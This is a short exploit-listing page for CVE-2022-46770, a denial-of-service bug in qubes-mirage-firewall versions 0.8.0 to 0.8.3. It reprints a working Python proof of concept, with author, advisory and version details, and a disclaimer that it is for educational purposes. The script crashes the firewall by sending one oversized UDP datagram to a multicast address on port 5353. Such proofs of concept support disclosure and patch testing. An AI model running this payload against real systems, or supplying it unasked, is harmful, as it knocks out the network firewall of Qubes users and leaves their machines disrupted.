Qubesmiragefirewallv0.8.3 denial of service (dos) Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2023-03-31 | Type : dos | Platform : hardware
This exploit / vulnerability Qubesmiragefirewallv0.8.3 denial of service (dos) is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: qubes-mirage-firewall v0.8.3 - Denial Of Service (DoS)
# Date: 2022-12-04
# Exploit Author: Krzysztof Burghardt <krzysztof@burghardt.pl>
# Vendor Homepage: https://mirage.io/blog/MSA03
# Software Link: https://github.com/mirage/qubes-mirage-firewall/releases
# Version: >= 0.8.0 & < 0.8.4
# Tested on: Qubes OS
# CVE: CVE-2022-46770

#PoC exploit from https://github.com/mirage/qubes-mirage-firewall/issues/166

#!/usr/bin/env python3

from socket import socket, AF_INET, SOCK_DGRAM

TARGET = "239.255.255.250"

PORT = 5353

PAYLOAD = b'a' * 607

s = socket(AF_INET, SOCK_DGRAM)

s.sendto(PAYLOAD, (TARGET, PORT))